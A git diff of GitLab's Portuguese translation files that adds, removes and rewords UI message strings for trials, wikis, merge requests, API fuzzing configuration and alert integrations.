-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31708,9 +32466,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr "Ativar o Balcão de Atendimento"
-
msgid "Turn on usage ping"
msgstr ""
@@ -31765,6 +32520,12 @@ msgstr ""
msgid "URL"
msgstr "URL"
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32167,7 +32928,7 @@ msgstr "Aprimore seu plano para ativar os Webhooks de Grupo."
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32176,6 +32937,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32272,6 +33036,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32470,9 +33237,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr "Use o Balcão de Atendimento para se conectar com seus usuários (por exemplo, para oferecer suporte ao cliente) por email dentro do GitLab"
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32524,6 +33288,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32569,7 +33336,10 @@ msgstr ""
msgid "User was successfully created."
msgstr "Usuário criado com sucesso."
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -32797,9 +33567,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -32866,7 +33633,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -32875,6 +33657,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33026,9 +33814,15 @@ msgstr "Visualizar etiquetas"
msgid "View log"
msgstr "Visualizar log"
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr "Ver merge request aberto"
@@ -33056,6 +33850,9 @@ msgstr ""
msgid "View the documentation"
msgstr "Ver a documentação"
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33065,6 +33862,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33470,15 +34270,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33653,6 +34468,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33751,9 +34569,6 @@ msgstr "Instalar Gollum"
msgid "WikiClone|Start Gollum and edit locally"
msgstr "Inicie o Gollum e edite localmente"
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr "Dica: Você pode mover esta página adicionando o caminho para o início do título."
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr "Já existe uma página com o mesmo título nesse caminho."
@@ -33826,18 +34641,6 @@ msgstr "histórico"
msgid "WikiHistoricalPage|most recent version"
msgstr "versão mais recente"
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
-msgstr "Mais exemplos em %{docs_link}"
-
-msgid "WikiMarkdownDocs|documentation"
-msgstr "documentação"
-
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
-msgstr ""
-
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
-msgstr "Dica: Você pode especificar o caminho completo para o novo arquivo. Nós vamos criar automaticamente quaisquer diretórios ainda não existentes."
-
msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
msgstr "Quer mesmo apagar essa página?"
@@ -33850,11 +34653,38 @@ msgstr "Excluir página %{pageTitle}?"
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
-msgstr "Criar %{pageTitle}"
+msgid "WikiPage|Commit message"
+msgstr ""
+
+msgid "WikiPage|Content"
+msgstr ""
+
+msgid "WikiPage|Create %{pageTitle}"
+msgstr ""
+
+msgid "WikiPage|Create page"
+msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
-msgstr "Atualizar %{pageTitle}"
+msgid "WikiPage|Format"
+msgstr ""
+
+msgid "WikiPage|Page title"
+msgstr ""
+
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
+msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr "Escreva seu conteúdo ou arraste arquivos aqui…"
@@ -33865,9 +34695,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr "Criar nova página"
-msgid "Wiki|Create page"
-msgstr "Criar página"
-
msgid "Wiki|Created date"
msgstr ""
@@ -33880,9 +34707,6 @@ msgstr "Nova página"
msgid "Wiki|Page history"
msgstr "Histórico da página"
-msgid "Wiki|Page title"
-msgstr "Título da página"
-
msgid "Wiki|Page version"
msgstr "Versão da página"
@@ -33943,6 +34767,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr "Escreva a descrição do marco..."
@@ -34099,6 +34926,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34240,6 +35073,9 @@ msgstr "Você ainda não tem nenhuma inscrição"
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr "Você não tem permissão para deixar este %{namespaceType}."
@@ -34324,9 +35160,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34363,12 +35196,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34402,7 +35229,7 @@ msgstr "Você deve fornecer sua senha atual para alterá-la."
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34417,9 +35244,6 @@ msgstr "Você precisa do git-lfs na versão %{min_git_lfs_version} (ou maior) pa
msgid "You need permission."
msgstr "Você precisa de permissão."
-msgid "You need to be logged in."
-msgstr "Você precisa estar conectado."
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34603,12 +35427,18 @@ msgstr "Atividade dos seus projetos"
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34729,6 +35559,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34822,7 +35655,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34929,6 +35762,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35231,6 +36067,15 @@ msgstr "não foi possível ler a chave privada, a senha está correta?"
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35415,6 +36260,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr "https://seu-servidor-do-bitbucket"
@@ -35585,7 +36433,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35620,13 +36468,10 @@ msgstr "%{commitCount} será adicionado à %{targetBranch}."
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35740,9 +36585,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr "Se o branch %{branch} existir em seu repositório local, você poderá fazer o merge request manualmente usando o"
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr "Se o branch %{missingBranchName} existir em seu repositório local, você poderá fazer merge request manualmente usando a linha de comando"
@@ -35893,18 +36735,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr "Você pode fazer merge manualmente usando o"
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr "branch não existe."
-msgid "mrWidget|command line"
-msgstr "linha de comando"
-
msgid "mrWidget|into"
msgstr "para"
@@ -35935,9 +36771,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36004,15 +36837,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36290,9 +37114,6 @@ msgstr "para ajudar seus contribuintes à se comunicar de maneira eficaz!"
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36338,6 +37159,12 @@ msgstr "nome do usuário"
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr "verificar propriedade"
diff --git a/locale/pt_PT/gitlab.po b/locale/pt_PT/gitlab.po
index ef1f66d20d3..ae5194f0f7e 100644
--- a/locale/pt_PT/gitlab.po
+++ b/locale/pt_PT/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: pt-PT\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:57\n"
+"PO-Revision-Date: 2021-04-02 00:19\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -120,6 +120,11 @@ msgid_plural "%d changed files"
msgstr[0] ""
msgstr[1] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -203,6 +208,11 @@ msgid_plural "%d failed security jobs"
msgstr[0] ""
msgstr[1] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] "%d resultado do teste fixo"
@@ -392,6 +402,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -404,6 +417,11 @@ msgstr "%{commit_author_link} autorizou %{commit_timeago}"
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -430,19 +448,9 @@ msgstr "%{count} aprovações de %{name}"
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} more"
msgstr "mais %{count}"
@@ -537,7 +545,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr "%{group_name} usa contas de gestão de grupo. Precisas de criar uma nova conta no GitLab que será gerida por %{group_name}."
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -930,6 +938,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr "%{usage_ping_link_start}Aprende mais%{usage_ping_link_end} sobre quais informações são compartilhadas com o GitLab Inc."
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1063,6 +1074,9 @@ msgstr[1] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1143,6 +1157,11 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1163,6 +1182,16 @@ msgid_plural "%d hours"
msgstr[0] ""
msgstr[1] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] "1 pedido de mesclagem mesclado"
@@ -1173,6 +1202,11 @@ msgid_plural "%d minutes"
msgstr[0] ""
msgstr[1] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] "1 problema aberto"
@@ -1198,6 +1232,16 @@ msgid_plural "%{num} users"
msgstr[0] "1 utilizador"
msgstr[1] "%{num} utilizadores"
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1-9 contributions"
msgstr "1-9 contribuições"
@@ -1315,9 +1359,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1327,13 +1368,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1408,9 +1446,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr "Um utilizador com permissão de escrita ao ramo de origem selecionado para esta opção"
@@ -1429,13 +1464,25 @@ msgstr ""
msgid "API Token"
msgstr "Token API"
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1447,6 +1494,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1459,16 +1509,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1477,16 +1530,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1519,9 +1572,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1699,6 +1749,9 @@ msgstr "Conta e limite"
msgid "Account: %{account}"
msgstr "Conta: %{account}"
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1729,11 +1782,6 @@ msgstr "Adicionar"
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] "Adicionar %d problema"
-msgstr[1] "Adicionar %d problemas"
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1779,6 +1827,9 @@ msgstr "Adicionar uma chave GPG"
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr "Adicionar uma lista de marcadores"
@@ -1854,6 +1905,9 @@ msgstr "Adicionar comentário agora"
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1881,9 +1935,6 @@ msgstr "Adicionaa cabeçalho e rodapé aos emails. Por favor, nota que as defini
msgid "Add image comment"
msgstr "Adicionar comentário de imagem"
-msgid "Add issues"
-msgstr "Adicionar problemas"
-
msgid "Add italic text"
msgstr "Adicionar texto em itálico"
@@ -1911,6 +1962,9 @@ msgstr "Adicionar ou subtrair o tempo gasto"
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr "Adicionar reação"
@@ -1929,6 +1983,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2022,6 +2079,9 @@ msgstr "Minutos adicionais"
msgid "Additional text"
msgstr "Texto adicional"
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr "Adiciona"
@@ -2049,6 +2109,9 @@ msgstr ""
msgid "Admin Area"
msgstr "Ãrea de Administração"
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2190,9 +2253,6 @@ msgstr "Estás prestes a parar todos os trabalhos. Isto irá interromper todos o
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr "Nota"
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr "Estás prestes a apagar, permanentemente, o projeto %{projectName}, o teu repositório e todos os recursos relacionados, incluindo problemas, pedidos de mesclagem, etc. Assim, que confirmares e pressionares %{strong_start}Apagar projeto%{strong_end}, não será possível desfazer ou recuperá-lo."
@@ -2628,6 +2688,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2675,6 +2741,9 @@ msgid_plural "Alerts"
msgstr[0] "Alerta"
msgstr[1] "Alertas"
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2837,6 +2906,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2852,13 +2927,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2867,25 +2945,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
